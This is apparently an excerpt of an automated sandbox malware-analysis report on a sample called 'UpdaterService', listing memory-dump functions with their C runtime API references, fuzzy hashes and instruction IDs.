_wcsncpy.LIBCMT ref: 04F5867A
_wcsncpy.LIBCMT ref: 04F586AC
_wcsncpy.LIBCMT ref: 04F586DF
_wcsncpy.LIBCMT ref: 04F58721
_wcsncpy.LIBCMT ref: 04F5875B
_wcsncpy.LIBCMT ref: 04F5878A

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: 4426d9684cc74e1e60c53192683b1faf9835b652bcf97710d7796a323c007445
Instruction ID: 43daaef8bcec15098cf7067f664222fd12c6c1f82fdd73f45df9ecea313cb9d2
Opcode Fuzzy Hash: 4426d9684cc74e1e60c53192683b1faf9835b652bcf97710d7796a323c007445
Instruction Fuzzy Hash: 81415E76C11214B6EB11FBB5CC859CEB7A8AF45314F5088A6EA08E3130E734B226C7A5

Function 04F58638 Relevance: 9.1, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 04F5867A
_wcsncpy.LIBCMT ref: 04F586AC
_wcsncpy.LIBCMT ref: 04F586DF
_wcsncpy.LIBCMT ref: 04F58721
_wcsncpy.LIBCMT ref: 04F5875B
_wcsncpy.LIBCMT ref: 04F5878A

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: 4426d9684cc74e1e60c53192683b1faf9835b652bcf97710d7796a323c007445
Instruction ID: 43daaef8bcec15098cf7067f664222fd12c6c1f82fdd73f45df9ecea313cb9d2
Opcode Fuzzy Hash: 4426d9684cc74e1e60c53192683b1faf9835b652bcf97710d7796a323c007445
Instruction Fuzzy Hash: 81415E76C11214B6EB11FBB5CC859CEB7A8AF45314F5088A6EA08E3130E734B226C7A5

Function 04F5D2B2 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 04F5D2F4
_memset.LIBCMT ref: 04F5D375
_wcsncpy.LIBCMT ref: 04F5D3B1

Strings

\, xrefs: 04F5D30A
:, xrefs: 04F5D315

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __swprintf_memset_wcsncpy
String ID: :$\
API String ID: 214737766-1166558509
Opcode ID: cfb0cb1c51b1db7bf590a18c78a419172642f7eb61997110ed4f259503a81d07
Instruction ID: 6e9aae3373cb48f532bf8b5c6d866050ed6f053437dda8c2524f5fdf909b66af
Opcode Fuzzy Hash: cfb0cb1c51b1db7bf590a18c78a419172642f7eb61997110ed4f259503a81d07
Instruction Fuzzy Hash: 2D31A87290011AAFDB21DFA4DC48FEB77BCEF89700F1041B6FA08D6164E774A6468B64

Function 04F5D2B2 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 04F5D2F4
_memset.LIBCMT ref: 04F5D375
_wcsncpy.LIBCMT ref: 04F5D3B1

Strings

\, xrefs: 04F5D30A
:, xrefs: 04F5D315

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __swprintf_memset_wcsncpy
String ID: :$\
API String ID: 214737766-1166558509
Opcode ID: cfb0cb1c51b1db7bf590a18c78a419172642f7eb61997110ed4f259503a81d07
Instruction ID: 6e9aae3373cb48f532bf8b5c6d866050ed6f053437dda8c2524f5fdf909b66af
Opcode Fuzzy Hash: cfb0cb1c51b1db7bf590a18c78a419172642f7eb61997110ed4f259503a81d07
Instruction Fuzzy Hash: 2D31A87290011AAFDB21DFA4DC48FEB77BCEF89700F1041B6FA08D6164E774A6468B64

Function 04F13A66 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 04F183BC: __FF_MSGBANNER.LIBCMT ref: 04F183D3
Part of subcall function 04F183BC: __NMSG_WRITE.LIBCMT ref: 04F183DA

std::exception::exception.LIBCMT ref: 04F13A9C
__CxxThrowException@8.LIBCMT ref: 04F13AB1

Strings

h=I, xrefs: 04F13A91
9I, xrefs: 04F13A7E
`=I, xrefs: 04F13AA9

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: `=I$h=I$9I
API String ID: 3728558374-4160236131
Opcode ID: eef547696d376b44da4d1d27765ab87fc3cadfc650ec64442c2c15500ecc1508
Instruction ID: d29c4daf2c8642bfdd8435b9100457b9f410b8c932a0bd0b1123e08219da7124
Opcode Fuzzy Hash: eef547696d376b44da4d1d27765ab87fc3cadfc650ec64442c2c15500ecc1508
Instruction Fuzzy Hash: 5DF0F475A0020DA6EB10FF58DC54ADEBBA8EF01359F004567EC04A21A0EBB0B74286E5

Function 04F13A66 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04F13A7E

Part of subcall function 04F183BC: __FF_MSGBANNER.LIBCMT ref: 04F183D3
Part of subcall function 04F183BC: __NMSG_WRITE.LIBCMT ref: 04F183DA

std::exception::exception.LIBCMT ref: 04F13A9C
__CxxThrowException@8.LIBCMT ref: 04F13AB1

Strings

h=I, xrefs: 04F13A91
`=I, xrefs: 04F13AA9

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: `=I$h=I
API String ID: 4063778783-4154568363
Opcode ID: eef547696d376b44da4d1d27765ab87fc3cadfc650ec64442c2c15500ecc1508
Instruction ID: d29c4daf2c8642bfdd8435b9100457b9f410b8c932a0bd0b1123e08219da7124
Opcode Fuzzy Hash: eef547696d376b44da4d1d27765ab87fc3cadfc650ec64442c2c15500ecc1508
Instruction Fuzzy Hash: 5DF0F475A0020DA6EB10FF58DC54ADEBBA8EF01359F004567EC04A21A0EBB0B74286E5

Function 04F180BD Relevance: 7.7, APIs: 5, Instructions: 163COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F1811B
_memcpy_s.LIBCMT ref: 04F1818D
__read_nolock.LIBCMT ref: 04F181EB
__filbuf.LIBCMT ref: 04F1820E
_memset.LIBCMT ref: 04F18252

Part of subcall function 04F1B7D8: __getptd_noexit.LIBCMT ref: 04F1B7D8

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: bf4fbc9f25857a78a0467b7c9a9a3b84207d8c22229e96b346ce8dd8a34d16b8
Instruction ID: 5669c7e6e6c4b1474f8480782fb7ffc22c930f158320a19a1280cec3722bd0ba
Opcode Fuzzy Hash: bf4fbc9f25857a78a0467b7c9a9a3b84207d8c22229e96b346ce8dd8a34d16b8
Instruction Fuzzy Hash: 5551D632E04709DBDB24AF69CE8066E77B1EF413A0F248729E835972F0D771B9528B50

Function 04F180BD Relevance: 7.7, APIs: 5, Instructions: 163COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F1811B
_memcpy_s.LIBCMT ref: 04F1818D
__read_nolock.LIBCMT ref: 04F181EB
__filbuf.LIBCMT ref: 04F1820E
_memset.LIBCMT ref: 04F18252

Part of subcall function 04F1B7D8: __getptd_noexit.LIBCMT ref: 04F1B7D8

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: bf4fbc9f25857a78a0467b7c9a9a3b84207d8c22229e96b346ce8dd8a34d16b8
Instruction ID: 5669c7e6e6c4b1474f8480782fb7ffc22c930f158320a19a1280cec3722bd0ba
Opcode Fuzzy Hash: bf4fbc9f25857a78a0467b7c9a9a3b84207d8c22229e96b346ce8dd8a34d16b8
Instruction Fuzzy Hash: 5551D632E04709DBDB24AF69CE8066E77B1EF413A0F248729E835972F0D771B9528B50

Function 04F4F2B7 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 04F4F2CC
_memcmp.LIBCMT ref: 04F4F2EA
_memcmp.LIBCMT ref: 04F4F2FD
_memcmp.LIBCMT ref: 04F4F315
_memcmp.LIBCMT ref: 04F4F32D

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: f453c28d498847b69d6cb65704602ca5d64119842fa6af63049dead29c41668f
Instruction ID: dab717c56d9d98379f3ad6e88befff0d8bfd36a3de27957088b0fde808b60fde
Opcode Fuzzy Hash: f453c28d498847b69d6cb65704602ca5d64119842fa6af63049dead29c41668f
Instruction Fuzzy Hash: 6301DEAAB411153BE6006A109D41F7BBB1CDBD1399F004036FD09A6642FA64FF1386B5

Function 04F4F2B7 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 04F4F2CC
_memcmp.LIBCMT ref: 04F4F2EA
_memcmp.LIBCMT ref: 04F4F2FD
_memcmp.LIBCMT ref: 04F4F315
_memcmp.LIBCMT ref: 04F4F32D

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: f453c28d498847b69d6cb65704602ca5d64119842fa6af63049dead29c41668f
Instruction ID: dab717c56d9d98379f3ad6e88befff0d8bfd36a3de27957088b0fde808b60fde
Opcode Fuzzy Hash: f453c28d498847b69d6cb65704602ca5d64119842fa6af63049dead29c41668f
Instruction Fuzzy Hash: 6301DEAAB411153BE6006A109D41F7BBB1CDBD1399F004036FD09A6642FA64FF1386B5

Function 04F61BE6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 04F06DEA: _wcscpy.LIBCMT ref: 04F06E0D

_wcstok.LIBCMT ref: 04F61D57
_wcscpy.LIBCMT ref: 04F61DE6
_memset.LIBCMT ref: 04F61E19

Strings

X, xrefs: 04F61E56

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscpy$_memset_wcstok
String ID: X
API String ID: 1534480898-3081909835
Opcode ID: 01d8b76981829210e2a8b2c61e4376562b2e5340bce429b3b5d05604df9a2589
Instruction ID: fa366c15cbe21d03ef60695ab8ae609962e29bee0473de700ac8293b7d30fcec
Opcode Fuzzy Hash: 01d8b76981829210e2a8b2c61e4376562b2e5340bce429b3b5d05604df9a2589
Instruction Fuzzy Hash: 25C181756043409FE724EF24DD80A5AB7E4FF85318F11892DF99A972A0DB70F906CB92

Function 04F61BE6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 04F06DEA: _wcscpy.LIBCMT ref: 04F06E0D

_wcstok.LIBCMT ref: 04F61D57
_wcscpy.LIBCMT ref: 04F61DE6
_memset.LIBCMT ref: 04F61E19

Strings

X, xrefs: 04F61E56

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscpy$_memset_wcstok
String ID: X
API String ID: 1534480898-3081909835
Opcode ID: 183160972c63fa44f051d72cde3c661b9daeabada2f807a90b119d7ad0d1c5de
Instruction ID: fa366c15cbe21d03ef60695ab8ae609962e29bee0473de700ac8293b7d30fcec
Opcode Fuzzy Hash: 183160972c63fa44f051d72cde3c661b9daeabada2f807a90b119d7ad0d1c5de
Instruction Fuzzy Hash: 25C181756043409FE724EF24DD80A5AB7E4FF85318F11892DF99A972A0DB70F906CB92

Function 04F6095C Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 04F60AD3
_wcscat.LIBCMT ref: 04F60AEB
_wcscat.LIBCMT ref: 04F60AFD

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscat$__wsplitpath
String ID:
API String ID: 1413645957-0
Opcode ID: 42d04188af3d2821253dca07e32289481f8c7399b5da3054ed29643a187f1781
Instruction ID: b8d054a869f1d9497cc3398424d630c0fc8c7fb778bb8c6917e5af0596f71f6a
Opcode Fuzzy Hash: 42d04188af3d2821253dca07e32289481f8c7399b5da3054ed29643a187f1781
Instruction Fuzzy Hash: C0819572A043419FD764DF24C84496EB7E9BF89354F24886EE98AC7250EB30F946CB52

Function 04F6095C Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 04F60AD3
_wcscat.LIBCMT ref: 04F60AEB
_wcscat.LIBCMT ref: 04F60AFD

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscat$__wsplitpath
String ID:
API String ID: 1413645957-0
Opcode ID: 42d04188af3d2821253dca07e32289481f8c7399b5da3054ed29643a187f1781
Instruction ID: b8d054a869f1d9497cc3398424d630c0fc8c7fb778bb8c6917e5af0596f71f6a
Opcode Fuzzy Hash: 42d04188af3d2821253dca07e32289481f8c7399b5da3054ed29643a187f1781
Instruction Fuzzy Hash: C0819572A043419FD764DF24C84496EB7E9BF89354F24886EE98AC7250EB30F946CB52

Function 04F60CDD Relevance: 6.2, APIs: 4, Instructions: 185COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 04F60E19
_wcscat.LIBCMT ref: 04F60E31
_wcscat.LIBCMT ref: 04F60E43
_wcscpy.LIBCMT ref: 04F60ECB

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscat$__wsplitpath_wcscpy
String ID:
API String ID: 3240238573-0
Opcode ID: 4029a01acd47e2cfd63ba26ddf9353f72a45e55679ee9de2d7e4eec78043ebe3
Instruction ID: 1cedc65de498329173196d1f541f98f2fd69b8e8c55505d5f2f33b78ac28417f
Opcode Fuzzy Hash: 4029a01acd47e2cfd63ba26ddf9353f72a45e55679ee9de2d7e4eec78043ebe3
Instruction Fuzzy Hash: 17615C725043059FD710EF24C88499EB3E8FF89314F14896EE98A87250EB31F946CB92

Function 04F60CDD Relevance: 6.2, APIs: 4, Instructions: 185COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 04F60E19
_wcscat.LIBCMT ref: 04F60E31
_wcscat.LIBCMT ref: 04F60E43
_wcscpy.LIBCMT ref: 04F60ECB

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscat$__wsplitpath_wcscpy
String ID:
API String ID: 3240238573-0
Opcode ID: 4029a01acd47e2cfd63ba26ddf9353f72a45e55679ee9de2d7e4eec78043ebe3
Instruction ID: 1cedc65de498329173196d1f541f98f2fd69b8e8c55505d5f2f33b78ac28417f
Opcode Fuzzy Hash: 4029a01acd47e2cfd63ba26ddf9353f72a45e55679ee9de2d7e4eec78043ebe3
Instruction Fuzzy Hash: 17615C725043059FD710EF24C88499EB3E8FF89314F14896EE98A87250EB31F946CB92

Function 04F5CF0D Relevance: 6.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 04F5CFCF
__swprintf.LIBCMT ref: 04F5CFE8
_wprintf.LIBCMT ref: 04F5D09E
_wprintf.LIBCMT ref: 04F5D0BC

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __swprintf_wprintf
String ID:
API String ID: 1937080608-0
Opcode ID: 62a455db50deac0b4fb23514372d331aa4ab71d5522a5d5cd9d744c5c90ec4c3
Instruction ID: 37548a52a477923a246b6e2e537cb3bab44fd1082584491f7f94a644d8d07676
Opcode Fuzzy Hash: 62a455db50deac0b4fb23514372d331aa4ab71d5522a5d5cd9d744c5c90ec4c3
Instruction Fuzzy Hash: ED518671900209BBEF25EBA0DD41EEEB778AF54304F108165EA05721A0DB357F56EF61

Function 04F5CF0D Relevance: 6.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 04F5CFCF
__swprintf.LIBCMT ref: 04F5CFE8
_wprintf.LIBCMT ref: 04F5D09E
_wprintf.LIBCMT ref: 04F5D0BC

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __swprintf_wprintf
String ID:
API String ID: 1937080608-0
Opcode ID: 62a455db50deac0b4fb23514372d331aa4ab71d5522a5d5cd9d744c5c90ec4c3
Instruction ID: 37548a52a477923a246b6e2e537cb3bab44fd1082584491f7f94a644d8d07676
Opcode Fuzzy Hash: 62a455db50deac0b4fb23514372d331aa4ab71d5522a5d5cd9d744c5c90ec4c3
Instruction Fuzzy Hash: ED518671900209BBEF25EBA0DD41EEEB778AF54304F108165EA05721A0DB357F56EF61

Function 04F5CCFB Relevance: 6.2, APIs: 4, Instructions: 150COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 04F5CDBC
__swprintf.LIBCMT ref: 04F5CDD5
_wprintf.LIBCMT ref: 04F5CE7C
_wprintf.LIBCMT ref: 04F5CE9A

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __swprintf_wprintf
String ID:
API String ID: 1937080608-0
Opcode ID: 948de1383d2a11ae39c0d49442b9735e0ae79c0a6439623eda2bf68ab2e28674
Instruction ID: 6fae7312faa8e99dd350390438c11a423108a6bb02b0dbda744985e5abdfb055
Opcode Fuzzy Hash: 948de1383d2a11ae39c0d49442b9735e0ae79c0a6439623eda2bf68ab2e28674
Instruction Fuzzy Hash: 61517272900209ABEF24EBA0DD41EEEB778EF54304F104165EA05720A0EB753E5AEF61

Function 04F5CCFB Relevance: 6.2, APIs: 4, Instructions: 150COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 04F5CDBC
__swprintf.LIBCMT ref: 04F5CDD5
_wprintf.LIBCMT ref: 04F5CE7C
_wprintf.LIBCMT ref: 04F5CE9A

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __swprintf_wprintf
String ID:
API String ID: 1937080608-0
Opcode ID: 948de1383d2a11ae39c0d49442b9735e0ae79c0a6439623eda2bf68ab2e28674
Instruction ID: 6fae7312faa8e99dd350390438c11a423108a6bb02b0dbda744985e5abdfb055
Opcode Fuzzy Hash: 948de1383d2a11ae39c0d49442b9735e0ae79c0a6439623eda2bf68ab2e28674
Instruction Fuzzy Hash: 61517272900209ABEF24EBA0DD41EEEB778EF54304F104165EA05720A0EB753E5AEF61

Function 04F62058 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 04F6208E
_wcscmp.LIBCMT ref: 04F620A5
_wcscmp.LIBCMT ref: 04F62137
_wcscmp.LIBCMT ref: 04F6214E

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscmp
String ID:
API String ID: 856254489-0
Opcode ID: edd9f0fbf41bde167f3b5c2d255263708be97dc0abc0389d1a94b15b2fed4f2f
Instruction ID: b239780886ef0b28112d925fbbcbb9d2fe57c08e2d5d8e9df8f68dfac5596bc1
Opcode Fuzzy Hash: edd9f0fbf41bde167f3b5c2d255263708be97dc0abc0389d1a94b15b2fed4f2f
Instruction Fuzzy Hash: 0631C732A452197FDF20ABB4DC48ADE77ACAF15324F1101F6E905E21A0DB74EA45CE64

Function 04F62058 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 04F6208E
_wcscmp.LIBCMT ref: 04F620A5
_wcscmp.LIBCMT ref: 04F62137
_wcscmp.LIBCMT ref: 04F6214E

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscmp
String ID:
API String ID: 856254489-0
Opcode ID: edd9f0fbf41bde167f3b5c2d255263708be97dc0abc0389d1a94b15b2fed4f2f
Instruction ID: b239780886ef0b28112d925fbbcbb9d2fe57c08e2d5d8e9df8f68dfac5596bc1
Opcode Fuzzy Hash: edd9f0fbf41bde167f3b5c2d255263708be97dc0abc0389d1a94b15b2fed4f2f
Instruction Fuzzy Hash: 0631C732A452197FDF20ABB4DC48ADE77ACAF15324F1101F6E905E21A0DB74EA45CE64

Function 04F621B5 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 04F621EB
_wcscmp.LIBCMT ref: 04F62202
_wcscmp.LIBCMT ref: 04F6227F
_wcscmp.LIBCMT ref: 04F62296

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscmp
String ID:
API String ID: 856254489-0
Opcode ID: 701ab9f914941f2bf6b29873fd7c3c33b56fc35b81b0c5937bb1c87bf486da0b
Instruction ID: 451871289ac8571938519b5ef0c4b33ac15315893a8ea0b38b4f640de4582325
Opcode Fuzzy Hash: 701ab9f914941f2bf6b29873fd7c3c33b56fc35b81b0c5937bb1c87bf486da0b
Instruction Fuzzy Hash: 3831FA32A012196EEB20AFA4DC48ADE776CDF05324F1145F6E805E21A0DB31EA469A64

Function 04F621B5 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 04F621EB
_wcscmp.LIBCMT ref: 04F62202
_wcscmp.LIBCMT ref: 04F6227F
_wcscmp.LIBCMT ref: 04F62296

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscmp
String ID:
API String ID: 856254489-0
Opcode ID: 701ab9f914941f2bf6b29873fd7c3c33b56fc35b81b0c5937bb1c87bf486da0b
Instruction ID: 451871289ac8571938519b5ef0c4b33ac15315893a8ea0b38b4f640de4582325
Opcode Fuzzy Hash: 701ab9f914941f2bf6b29873fd7c3c33b56fc35b81b0c5937bb1c87bf486da0b
Instruction Fuzzy Hash: 3831FA32A012196EEB20AFA4DC48ADE776CDF05324F1145F6E805E21A0DB31EA469A64

Function 04F29C67 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 04F29C8B

Part of subcall function 04F2A372: __fltout2.LIBCMT ref: 04F2A39B

__cftog_l.LIBCMT ref: 04F29CB1
__cftoe_l.LIBCMT ref: 04F29CE3

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 1b33dbabe485c7906b19081e4f31ee606b87cb0e69c36f3199eb0d328766274d
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: A9018CB258015ABBCF125F84CE11CEE3FA2BB1C354F488415FE186A130D276E5B2AB81

Function 04F29C67 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 04F29C8B

Part of subcall function 04F2A372: __fltout2.LIBCMT ref: 04F2A39B

__cftog_l.LIBCMT ref: 04F29CB1
__cftoe_l.LIBCMT ref: 04F29CE3

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 1b33dbabe485c7906b19081e4f31ee606b87cb0e69c36f3199eb0d328766274d
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
